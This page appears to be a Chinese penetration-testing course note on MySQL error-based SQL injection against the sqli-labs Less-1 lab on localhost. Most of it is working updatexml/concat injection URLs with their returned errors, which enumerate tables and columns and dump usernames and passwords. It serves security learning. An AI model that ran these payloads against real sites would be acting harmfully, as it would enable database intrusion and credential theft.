IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> sql注入-报错注入 -> 正文阅读

[PHP知识库]sql注入-报错注入

渗透测试基础课-课程进度_不死的小鱼的博客-CSDN博客


1.什么是报错注入
mysql_error
2.我们在什么情况下使用报错注入
在页面返回连错错误信息的时候

3.函数
updatexml? //5.1版本以上使用
extrachvalue
floor?? //5.0版本之前也可以使用

请求:http://localhost/Less-1/index.php?id=1%27? //? %27是英文单引号的url编码,是被浏览器自动编码的 %20 是空格
返回:1' LIMIT 0,1

http://localhost/Less-1/index.php?id=1%27%20and%201=1--%2011?? 条件成立 有数据返回
http://localhost/Less-1/index.php?id=1%27%20and%201=2--%2011?? 条件不成立 无数据返回
请求:http://localhost/Less-1/index.php?id=1%27%20and%201=updatexml(1,(select%20user()),1)--%2011
返回:XPATH syntax error: '@localhost'???? 完整的 应该是 xxx@localhost
concat 连接
请求:http://localhost/Less-1/index.php?id=1%27%20and%201=updatexml(1,concat(0x3a,(select%20user()),1),0x3a)--%2011
返回:XPATH syntax error: ':root@localhost1'

注入表:
请求:http://localhost/Less-1/index.php?id=1%27%20and%201=updatexml(1,concat(0x3a,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27),1),0x3a)--%2011?? 报错注入是不能找过一行的
返回: Subquery returns more than 1 row
?? ?limit
?? ??? ?1请求:localhost/Less-1/index.php?id=1%27%20and%201=updatexml(1,concat(0x3a,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%201,1),1),0x3a)--%2011
?? ??? ?返回: XPATH syntax error: ':referers1'
?? ?group_concat
?? ??? ?请求:http://localhost/Less-1/index.php?id=1%27%20and%201=updatexml(1,concat(0x3a,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27%20),1),0x3a)--%2011
?? ??? ?返回::emails,referers,uagents,users
?? ?updatexml 只支持32位以前的结果进行输出

注入字段:
请求:http://localhost/Less-1/index.php?id=1%27%20and%201=updatexml(1,concat(0x3a,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27%20),3),0x3a)%20--%2011
返回:XPATH syntax error: ':user_id,first_name,last_name,us'? 串到dvwa的库
请求:http://localhost/Less-1/index.php?id=1%27%20and%201=updatexml(1,concat(0x3a,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27%20and%20table_schema=%20%27security%27%20),3),0x3a)%20--%2011
返回: XPATH syntax error: ':id,username,password3'

注入内容:
请求:http://localhost/Less-1/index.php?id=1%27%20and%201=updatexml(1,concat(0x3a,(select%20concat(username,0x3a,password)%20from%20users%20limit%201),3),0x3a)%20--%2011
请求:http://localhost/Less-1/index.php?id=1%27%20and%201=updatexml(1,concat(0x3a,(select%20concat(username,0x3a,password)%20from%20users%20limit%201),3),0x3a)%20--%2011
返回: XPATH syntax error: ':Dumb:Dumb3'

请求:http://localhost/Less-1/index.php?id=1%27%20and%201=updatexml(1,concat(0x3a,(select%20group_concat(username,0x3a,password)%20from%20users),3),0x3a)%20--%2011
返回:XPATH syntax error: ':Dumb:Dumb,Angelina:I-kill-you,D'
md5
使用:
left
right

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-05-06 10:53:41  更:2022-05-06 10:54:06 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年4日历 -2024/4/24 1:44:04-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码